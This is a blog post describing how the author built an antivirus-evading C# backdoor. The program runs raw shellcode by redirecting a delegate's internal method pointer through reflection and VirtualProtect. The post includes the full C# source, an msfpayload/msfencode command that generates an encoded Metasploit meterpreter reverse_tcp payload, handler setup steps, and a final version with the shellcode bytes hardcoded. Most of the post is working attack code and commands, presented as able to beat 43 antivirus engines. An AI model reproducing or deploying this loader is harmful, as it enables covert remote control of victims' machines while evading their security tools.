28 Temmuz 2016 Perşembe

Undetectable C# Backdoor

.
Here is the vid if you’d like to watch it:
•    https://www.youtube.com/watch?feature=player_embedded&v=e2Ih67nR7RY#!
To sum up he said that given the fact that most AVs detects meterpreter, the only way of making it undetectable was to embed it into something else, like a new program. His approach consists in importing the metasploit-generated reverse_tcp.exe file as a resource into a new C# application. So when the program starts, first, loads the resource as a stream of bytes, then, writes a new exe file with them and last but not least, launch a new different process.
Even with all that, several AVs classified the C# app as malicious… 9/42 detections in http://virustotal.com.
Regardless of the above, the first thing I did after the video finished was to reproduce the concept. Sadly, when I started the program my Avast jumped in as a jedi killing the malicious process.
I will now describe the solution which X_Typhon and I developed for overcoming the 43 AVs at current time:
Our approach is quite simple: it is based on the possibility of executing assembler code from C#.
This is an example code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.Reflection;
using System.Runtime.InteropServices;
 
namespace ExecutingASM
{
    class Program
    {
 
        [DllImport("kernel32.dll", SetLastError = true)]
        //[DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
 
        public delegate uint BadDelegate(uint address);
 
        static uint StubMethod(uint arg1)
        {
            return 0;
        }
 
        public static byte[] asmBytes = new byte[]
        {
            0x8b,0xff, //mov edi, edi
            0x8b,0xc2, //mov eax, edx
            0x81,0xc0,0x0a,0x00,0x00,0x00, //add eax, 0x0a
            0xc3 //ret
        };
 
        unsafe static void Main(string[] args)
        {
            fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
 
                // Set our delegate to our x86 code
                BadDelegate del = new BadDelegate(StubMethod);
                _methodPtr.SetValue(del, (IntPtr)startAddress);
 
                //Disable protection
                uint outOldProtection;
                VirtualProtect((IntPtr)startAddress, (uint)asmBytes.Length, 0x40, out outOldProtection);
 
                // Execute
                uint n = (uint)0x00000001;
                n = del(n);
                Console.WriteLine("0x0{0:x}", n);
                Console.ReadKey();
            }
        }
    }
}
Remember to check the “Allow Unsafe Code” in the project’s properties, otherwise it won’t compile.
If you run this application a new Console will pop up showing the value 0x0b… why?…
Basically what this code does is:
1.    Creates a delegate.
2.    Adds the StubMethod to the chain.
3.    By means of reflection, changes the delegate’s callback to point to asmBytes.
4.    Changes the page memory protection to PAGE_EXECUTE_READWRITE.
5.    Executes the delegate.
Now in detail:
First things first… The unsafe is needed because of the raw pointers operations.
The fixed statement prevents the garbage collector from relocating a movable variable. In this case, asmBytes must not be relocated.
The _methodPtr is a private member from System.Delegate which points to the code to get executed by the delegate. FieldInfo exposes a SetValue method which allow us to set the _methodPtr member to an arbitrary value. This is pretty much like CVE-2012-4681.
Due to asmBytes it is placed in a non-executable memory zone, we have to issue a call to VirtualProtect(), otherwise we will get a runtime exception.
The delegate signature is: public delegate uint BadDelegate(uint address)
This means that only methods with the same signature can be added to its internal list. That’s why StubMethod receives & returns uint. In the CLR the calling convention is fastcall, so the first parameter (the object instance) goes in ECX while the second goes in EDX.
The program initializes a new variable “n” to 0x00000001 and is passed as an argument to the delegate. The assembler code picks the arg from EDX and adds 0x0a.
By now it should be clear how the application works. What would happen if we put the opcodes of the meterpreter?
This is the actual & final code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.IO;
 
namespace ExecutingASM
{
    class Program
    {
 
        [DllImport("kernel32.dll", SetLastError = true)]
        //[DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
 
        public delegate uint BadDelegate(uint address);
 
        static uint StubMethod(uint arg1)
        {
            return 0;
        }
 
        public static byte[] ReadPayload()
        {
            using(Stream myStream = new FileStream(Environment.CurrentDirectory + "/payload", FileMode.Open))
            {
                var length = myStream.Length;
                var result = new byte[length];
                myStream.Read(result, 0, (int) length);
                return result;
            }
        }
 
        public static byte[] Payload = ReadPayload();
 
        unsafe static void Main(string[] args)
        {
            fixed (byte* startAddress = &Payload[0]) // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
 
                // Set our delegate to our x86 code
                BadDelegate del = new BadDelegate(StubMethod);
 
                _methodPtr.SetValue(del, (IntPtr)startAddress);
 
                //Disable protection
                uint outOldProtection;
                VirtualProtect((IntPtr)startAddress, (uint)Payload.Length, 0x40, out outOldProtection);
 
                // Enjoy
                uint n = (uint)0x00000001;
                n = del(n);
                Console.WriteLine("\n0x0{0:x}", n);
                Console.ReadKey();
            }
        }
    }
}
The main difference is that instead of hardcoding opcodes in the program, we read a file as a stream of bytes. This makes a light coupling code : ).
Let’s assume our attacking machine is running a backtrack and has a NIC 192.168.1.2; Run the following in order to get the metasploit backdoor:
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 R | msfencode -e x86/shikata_ga_nai -c 10 -t raw -o payload  —-(Notice the raw output format)—-
Next, copy the file to the same location of the application. Before executing it remember to start a metasploit handler in the backtrack:
1.    Start msfconsole
2.    Enter “use exploit/multi/handler”
3.    Enter “set payload windows/meterpreter/reverse_tcp”
4.    Enter “set lhost 192.168.1.2”
5.    Enter “exploit”
Execute the C# app and you should get a new session opened on the attacking machine :).
The next version was uploaded to http://www.virustotal.com on 31/12/2012 at 08:24 am:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using System;
using System.Reflection;
using System.Runtime.InteropServices;
 
namespace ExecASMHardcoded
{
    class Program
    {
 
        [DllImport("kernel32.dll", SetLastError = true)]
        //[DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
 
        public delegate uint Ret1ArgDelegate(uint address);
        static uint PlaceHolder1(uint arg1) { return 0; }
 
        public static byte[] asmBytes = new byte[]
        {
            0xdd,0xc5,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x86,0xba,0x6d,0x73,
            0x6a,0xf3,0x31,0x53,0x18,0x03,0x53,0x18,0x83,0xc3,0x69,0x91,0x9f,0x2a,
            0x9b,0xed,0xab,0xa3,0x43,0x62,0xf5,0x48,0x57,0x8e,0x5e,0x9a,0x5e,0xdf,
            0x1e,0x5f,0xa3,0x24,0xd0,0x1c,0x36,0x26,0x51,0xb6,0x11,0xb3,0xf7,0xe2,
            0x64,0x74,0x56,0x69,0xf9,0x9b,0xab,0xd6,0xee,0x10,0x5e,0x8f,0x52,0xa1,
            0x39,0xff,0x52,0x6a,0xf4,0xde,0x99,0xc7,0x58,0x83,0x15,0xda,0x7d,0x2e,
            0xa4,0x57,0xdf,0xe2,0xad,0x32,0xa7,0x3b,0xf5,0x3c,0x8f,0x1c,0xaa,0x39,
            0x88,0x30,0xb1,0xb2,0x7d,0x7c,0x27,0x09,0x2f,0xbd,0xd8,0x45,0xca,0x96,
            0xae,0x1e,0x92,0x16,0xef,0x05,0xa0,0x7a,0xd4,0xfd,0x44,0x3d,0x23,0x06,
            0x93,0x3f,0x3b,0x72,0x49,0xc1,0x8c,0x4b,0x53,0x04,0xaa,0xb7,0x71,0x3f,
            0x93,0x50,0x68,0xa0,0x75,0x4b,0x50,0x8f,0x7d,0x58,0x07,0x0f,0x78,0xfa,
            0x56,0xdd,0x2a,0x45,0xa3,0x7f,0x10,0xfe,0xfe,0x6d,0x9b,0x81,0xc5,0x05,
            0x5f,0x23,0xf8,0x9f,0xd1,0x0a,0xb1,0x96,0xf4,0xce,0x7b,0x00,0x62,0x8a,
            0x5a,0x6f,0xa6,0x64,0x19,0x63,0xfd,0x3d,0x09,0x87,0x8f,0x9f,0xb6,0x5b,
            0x17,0xb2,0x5f,0xe0,0x79,0x84,0x03,0x59,0x19,0x45,0xb8,0x91,0x76,0x2d,
            0x9d,0xb5,0x82,0xc3,0x5d,0x57,0x6d,0x71,0x31,0xb5,0x99,0x59,0xc5,0xd5,
            0x1b,0xdd,0xdb,0x2a,0x96,0xe4,0xc7,0xc5,0xec,0x17,0xd0,0xfb,0x17,0x97,
            0x7f,0xa1,0x32,0x00,0x07,0x76,0x1b,0x98,0xeb,0x3e,0x1e,0xce,0xc3,0x35,
            0x62,0x45,0x09,0x58,0xff,0x36,0x4c,0xe0,0x07,0x74,0xfa,0x36,0xf1,0x97,
            0xbd,0x24,0xdc,0x47,0x60,0x88,0xc4,0xab,0x55,0x33,0xc8,0xf0,0x62,0x68,
            0xe2,0x49,0x49,0x0b,0xef,0x1c,0x2f,0x0b,0xc0,0xe0,0xc2,0x9a,0x6c,0xd7,
            0xee,0x21,0x5c,0x7e,0xe6,0xfe,0xc2,0x22,0xbc,0xda,0x84,0x45,0x57,0x1b,
            0xd2,0x55,0x0a,0xc7,0x15,0x8b,0x36,0x62,0x53,0xb3,0x6c,0x57,0x8f,0x9e,
            0xd7,0x9d,0xe3,0x86,0xeb,0x0e,0xb3,0xb6,0x9c,0xff,0xbd,0x45,0x56,0x1f,
            0xda,0x64,0x5e,0xa4,0x63,0x49,0xb4,0xf4,0x56,0xb5,0xa3,0x4b,0xb4,0x47,
            0x16,0xbd,0x55,0x0e,0xd6,0x80,0x96,0xb6,0xd3,0x7b,0x32,0x83,0x1b,0x9e,
            0x41,0x84,0xaf,0x6c,0x51,0x76,0x92,0x3b,0x62,0x8b,0x2d,0x0a,0xc9,0x22,
            0x6f,0xf0,0x81,0x54,0x5f,0x68,0x07,0x1a,0xc3,0x8d,0xfe,0x96,0x24,0x5b,
            0xcb,0x7f,0xc6,0xa9,0x0b,0xa0,0x08,0x68,0x7f,0x2b,0x2e,0x4f,0x91,0x04,
            0xc4,0x7a,0xcd,0xff,0x03,0x65,0xfe,0x0a,0x23,0x30,0xbd,0x1d,0xc4,0x30,
            0x1c,0x5a,0x5a,0x08,0xbd,0x86,0x32,0xd8,0xab,0xd7,0x4a,0x68,0x85,0xe1,
            0x76,0xdd,0x85,0x69,0x78,0xd2,0x1b,0xad,0xb0,0xcd,0x9d,0x69,0xaa,0x56,
            0xa7,0x03,0xd4,0xcf,0x51,0x9e,0xeb,0x63,0x35,0x43,0x32,0xa2,0x30,0x85,
            0x9c,0x15,0xfd,0x2c,0xad,0x9c,0x39,0x31,0x30,0xc8,0x73,0xb0,0x7b,0xde,
            0xf0,0x65,0x23,0x07,0x2d,0xc0,0xb8,0xfb,0x9f,0xe0,0x06,0x31,0xae,0x43,
            0xa9,0x7b,0xc4,0x54,0xef,0x75,0x6d,0x07,0x39,0x3c,0x36,0x20,0xf9,0x31,
            0x04,0x79,0x86,0x82,0x65,0xa0,0x13,0x2c,0xd2,0xfe,0x6b,0x3b,0x53,0x03,
            0xe5,0xbd,0x8b,0x36,0x04,0x51,0x98,0xc8,0x4b,0x5e,0x70,0xd9,0xcf,0x41,
            0x48,0x84,0xa9,0x5d,0x02,0x78,0x5e,0xfe,0x1d,0x11,0xe4,0xad,0x7c,0x24,
            0xbf,0x23,0x0a,0xbf,0x12,0xf3,0xc8,0x7b,0x16,0xd1,0x31,0x13,0x2c,0x39
                };
 
        unsafe static void Main(string[] args)
        {
            fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
 
                // Set our delegate to our x86 code
                Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
                _methodPtr.SetValue(del, (IntPtr) startAddress);
 
                //Disable protection
                uint outOldProtection;
                VirtualProtect((IntPtr) startAddress, (uint) asmBytes.Length, 0x40, out outOldProtection);
                // Enjoy
                uint n = (uint)0x00000001;
                n = del(n);
                Console.WriteLine("{0:x}", n);
                Console.ReadKey();
            }
        }
    }
}
As you can see, the opcodes were hardcoded in the application so it gives virustotal.com a chance xD… These are the results:
You can foresee what would happen if you upload the decoupled version.
That’s all for now… Happy New Year!!!
Cheerz!!
References:
•    http://www.atrevido.net/blog/PermaLink.aspx?guid=ac03f447-d487-45a6-8119-dc4fa1e932e1
•    http://www.devjoker.com/print/Tutorial-C/159/Tutorial-C.aspx
•    http://msdn.microsoft.com/en-us/library/f58wzh21.aspx
•    http://msdn.microsoft.com/es-es/library/6z33zd7h.aspx
•    http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx
•    http://www.pinvoke.net/default.aspx/kernel32.VirtualProtect
•    Pro C# 2010 and the .NET 4 Platform 5th Edition – Apress – Andrew Troelsen